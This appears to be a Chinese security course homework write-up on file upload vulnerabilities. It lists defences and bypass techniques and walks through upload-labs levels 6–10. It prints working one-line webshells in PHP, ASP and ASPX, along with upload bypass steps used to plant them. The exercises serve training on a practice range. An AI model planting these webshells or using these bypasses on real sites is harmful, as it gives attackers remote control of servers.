任务一
一、文件上传防御手段总结
1.文件类型检查:
扩展名检查:限制上传文件的扩展名,只允许特定的文件类型,如.jpg、.png等图片格式。
MIME类型检查:检查文件的MIME类型,确保其与扩展名一致,防止伪装。
2.内容检查:
文件签名验证:检查文件的头部信息,确保文件的真实类型与声称的一致。
文件内容分析:深入分析文件内容,查找是否包含恶意代码或特定脚本关键字。
3.文件大小限制:
设置合理的文件大小上限,防止大文件上传导致的服务器资源耗尽。
4.安全存储:
将上传的文件存储在与应用程序代码分开的路径中,减少直接访问的风险。
使用随机化或唯一化的文件名,避免使用用户提供的文件名,防止目录遍历攻击。
5.权限管理:
确保上传的文件没有执行权限,避免被直接执行的风险。
严格管理文件系统的权限,防止未授权访问。
6.病毒扫描:
使用反病毒软件或恶意软件扫描工具检测上传的文件中是否包含恶意代码。
日志记录与监控:
记录文件上传的详细日志,以便在发生安全事件时进行审计和追踪。
部署入侵检测系统(IDS)或安全监控系统,实时监控文件上传行为。
7.白名单机制:
只允许从预先确定的可信来源上传文件,或者只允许特定类型的文件上传,严格限制可上传的文件范围。
文件上传绕过手段总结
二、绕过手段:
1.前端绕过:
删除或禁用前端校验函数,如JavaScript中的文件类型检查。
使用抓包工具(如Burp Suite)修改数据包,将合法文件后缀修改为恶意文件后缀。
黑名单绕过:
2.等价扩展名绕过:使用与黑名单中扩展名等价的扩展名上传文件。
大小写绕过(仅Windows):将文件扩展名改为大写或小写形式绕过检查。
空格绕过(仅Windows):在文件扩展名前或后添加空格。
点号绕过(仅Windows):在文件扩展名后添加点号。
**::DATA绕过∗∗(仅Windows):在文件扩展名后添加‘::DATA`,Windows系统会自动去除该字符串。
双写绕过:利用某些函数(如str_ireplace)只替换一次的特性,通过双写扩展名绕过检查。
白名单绕过:
3.MIME类型绕过:修改HTTP请求中的Content-Type字段,使其看起来像是允许上传的文件类型。
00截断绕过(仅Windows,且PHP版本小于5.3.4):在文件名中插入00字节,使系统无法正确解析文件名。
4.文件包含漏洞利用:
如果服务器存在文件包含漏洞,攻击者可以上传一个合法的文件,但通过构造特定的请求,利用文件包含漏洞来执行恶意代码。
5.其他技术:
文件头欺骗:修改恶意文件的文件头,使其看起来像合法的图片文件,但文件内容仍然是恶意脚本。
分段上传:将恶意内容分割成多个小段上传,每个部分看起来都是合法的,从而逃避检测。
任务二:文件上传常用一句话木马
一、基本原理:
利用文件上传漏洞,往目标网站中上传一句话木马,然后就可以在本地通过工具即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。
二、常用一句话木马
php: <?php @eval($_POST['cmd']); ?>
asp: <% eval request('cmd') %> 或 <% execute(request('cmd')) %>
aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%>
任务三:课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
任务四:文件上传无回显如何查找webshell地址
1. 使用目录扫描工具
工具选择:可以使用如DirBuster、Gobuster等目录扫描工具,这些工具能够自动化地扫描目标网站的目录和文件,寻找可能的WebShell文件。
操作步骤:
配置扫描工具,设置目标网站的URL。
设定扫描的参数,如字典大小、线程数等。
开始扫描,并等待扫描结果。
分析扫描结果,查找包含可疑文件名(如shell.php、backdoor.php等)的条目。
2. 源代码审计
方法说明:如果可能的话,获取并审查目标网站的源代码,特别是与文件上传功能相关的部分。
操作步骤:
查找文件上传功能的处理逻辑,特别是文件存储路径和命名规则。
检查是否存在代码漏洞,如未经验证的用户输入、不安全的文件重命名机制等。
根据源代码中的线索,尝试构造可能的WebShell文件路径。
3. 检查服务器日志
重要性:服务器日志中可能包含有关文件上传活动的记录,特别是当上传操作成功或失败时。
操作步骤:
访问服务器的日志文件,如Apache的access.log和error.log。
搜索与文件上传相关的HTTP请求记录。
分析记录中的URL和参数,寻找可能的WebShell文件路径。
4. 网络扫描
工具选择:使用网络扫描工具(如Nmap)对目标服务器进行扫描,寻找开放的端口和服务。
操作步骤:
对目标服务器的IP地址进行扫描。
分析扫描结果,特别是与Web服务相关的端口(如80、443)。
尝试通过扫描到的端口访问服务,并查找可能的WebShell文件。
5. 尝试构造请求
方法说明:根据已知的文件上传逻辑和命名规则,尝试构造HTTP请求来访问可能的WebShell文件。
操作步骤:
分析文件上传功能的URL结构和参数。
构造包含可能文件名的URL请求。
使用工具(如curl、Postman)发送请求,并观察响应结果。
6. 使用自动化工具
工具选择:使用自动化工具(如自动化测试框架、安全扫描工具)来模拟文件上传过程,并尝试查找WebShell文件。
操作步骤:
配置自动化工具,设置目标网站的URL和文件上传参数。
运行自动化测试或扫描过程。
分析测试结果,查找可能的WebShell文件路径。
7. 权限验证和渗透测试
方法说明:如果以上方法均无法找到WebShell文件,可以考虑进行更深入的权限验证和渗透测试。
操作步骤:
尝试利用已知的安全漏洞或弱点来获取更高的访问权限。
在更高的权限级别下,查找和访问可能的WebShell文件。
任务五:文件上传表单的无参/有参情况下构造表单 -- 加分项
一、无参文件上传表单:
无参文件上传表单主要用于仅上传文件而不附加其他表单数据的场景。此时,表单只需要包含一个<input type="file">元素,并且enctype属性必须设置为multipart/form-data,以便正确发送文件数据。
HTML示例:
html
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" id="file" name="file">
<button type="submit">上传</button>
</form>
二、有参文件上传表单:
有参文件上传表单用于在上传文件的同时,还需要提交其他表单数据(如用户信息、文件描述等)。在这种情况下,表单除了包含<input type="file">元素外,还可以包含其他<input>、<select>等表单元素。
HTML示例:
html
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" id="file" name="file">
<label for="description">文件描述:</label>
<textarea id="description" name="description"></textarea>
<label for="user">用户:</label>
<input type="text" id="user" name="user">
<button type="submit">上传</button>
</form>
任务六:upload-labs靶场通关第6-第10关
第六关(空格绕过)
分析源代码后,发现此关只有三处限制:黑名单禁止,同时限制了大小写。
根据要求上传一个.jnp文件
先将shell.php文件后缀改为.jnp
上传,burpsuite抓包,修改.jnp文件格式为.php
第七关(小数点绕过)
查看源码,大小写被过滤,空格被过滤,没有过滤小数点,就用小数点过滤
上传1.php一句话木马,抓包,后缀加个小数点
第八关(::$DATA 绕过)
查看源码,发现小数点、大小写、空格都被过滤,用::$DATA过滤
上传 1.php 一句话木马,抓包,后缀加 ::$DATA
连接时删掉 ::$DATA
第九关(小数点和空格结合绕过)
查看源码,发现::$DATA 也被过滤,使用结合过滤
上传1.php一句话木马,抓包,后缀加小数点、空格、小数点
第十关(双写绕过)
查看源码,str_ireplace()函数将后缀都替换为空,然后尝试用双写绕过
上传 1.php 一句话木马,抓包,修改后缀